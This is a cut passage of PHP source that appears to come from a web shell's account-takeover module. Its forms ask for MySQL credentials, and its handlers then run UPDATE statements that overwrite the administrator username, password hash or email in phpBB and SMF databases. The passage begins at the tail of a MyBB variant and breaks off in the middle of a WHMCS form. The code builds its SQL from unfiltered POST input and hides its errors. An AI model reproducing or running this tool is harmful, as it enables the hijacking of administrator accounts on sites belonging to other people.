$ok2=@mysql_query($tiger4);
if($ok2){ echo "<script>alert('MyBB Info Changed ;
)');
</script>";
} } if (isset($_POST['phpbb'])) { echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change phpBB Info<br>Patch Control Panel : [patch]/adm<br>Path Config : [patch]/config.php</font></center>
<center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=phpbb type=text name=dbnphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB password<br></font><input value=admin type=text name=dbpphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change user admin<br></font><input value=tiger type=text name=urphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change password admin<br></font><input value=tiger type=text name=psphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Table prefix<br></font><input value=phpbb_ type=text name=prphp size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{ $dbhphp = $_POST['dbhphp'];
$dbnphp = $_POST['dbnphp'];
$dbuphp = $_POST['dbuphp'];
$dbpphp = $_POST['dbpphp'];
@mysql_connect($dbhphp,$dbuphp,$dbpphp);
@mysql_select_db($dbnphp);
$urphp=str_replace("\'","'",$urphp);
$set_urphp = $_POST['urphp'];
$psphp=str_replace("\'","'",$psphp);
$pass_php = $_POST['psphp'];
$set_psphp = md5($pass_php);
$php_prefix = $_POST['prphp'];
$table_name2 = $php_prefix."users" ;
$tiger5 = "UPDATE $table_name2 SET username_clean ='".$set_urphp."' WHERE user_id ='2'";
$tiger6 = "UPDATE $table_name2 SET user_password ='".$set_psphp."' WHERE user_id ='2'";
$ok3=@mysql_query($tiger5);
$ok3=@mysql_query($tiger6);
if($ok3){ echo "<script>alert('phpBB Info Changed ;
)');
</script>";
} } if (isset($_POST['smf'])) { echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change SMF Info<br>Patch Control Panel : [patch]/index.php?action=admin<br>Path Config : [patch]/Settings.php</font></center>
<center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhsmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=smf type=text name=dbnsmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbusmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB password<br></font><input value=admin type=text name=dbpsmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change user admin<br></font><input value=Marion001 type=text name=ursmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Change E-mail admin<br></font><input [email protected] type=text name=emsmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>Table prefix<br></font><input value=smf_ type=text name=prsmf size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<input type=submit value='Change' ></form></center></td></tr></table></center>";
}else{ $dbhsmf = $_POST['dbhsmf'];
$dbnsmf = $_POST['dbnsmf'];
$dbusmf = $_POST['dbusmf'];
$dbpsmf = $_POST['dbpsmf'];
@mysql_connect($dbhsmf,$dbusmf,$dbpsmf);
@mysql_select_db($dbnsmf);
$ursmf=str_replace("\'","'",$ursmf);
$set_ursmf = $_POST['ursmf'];
$emsmf=str_replace("\'","'",$emsmf);
$set_emsmf = $_POST['emsmf'];
$smf_prefix = $_POST['prsmf'];
$table_name3 = $smf_prefix."members" ;
$tiger7 = "UPDATE $table_name3 SET member_name ='".$set_ursmf."' WHERE id_member ='1'";
$tiger8 = "UPDATE $table_name3 SET email_address ='".$set_emsmf."' WHERE id_member ='1'";
$tiger7 = "UPDATE $table_name3 SET memberName ='".$set_ursmf."' WHERE ID_MEMBER ='1'";
$tiger8 = "UPDATE $table_name3 SET emailAddress ='".$set_emsmf."' WHERE ID_MEMBER ='1'";
$ok4=@mysql_query($tiger7);
$ok4=@mysql_query($tiger8);
if($ok4){ echo "<script>alert('SMF Info Changed ;
)');
</script>";
} } if (isset($_POST['whmcs'])) { echo "<center><table border=0 width='100%'>
<tr><td>
<center><font face='Arial' color='#000000'>Change WHMCS Info<br>Patch Control Panel : [patch]/admin<br>Path Config : [patch]/configuration.php</font></center>
<center><form method=POST action=''><font face='Arial' color='#000000'>Mysql Host</font><br><input value=localhost type=text name=dbhwhm size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB name<br></font><input value=whmcs type=text name=dbnwhm size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB user<br></font><input value=root type=text name=dbuwhm size='50' style='font-size: 8pt;
color: #000000;
font-family: Tahoma;
border: 1px solid #666666;
background-color: #FFFFFF'><br>
<font face='Arial' color='#000000'>DB password<br></font><input value=admin type=text name=dbpwhm size='50' style='font-size: 8pt;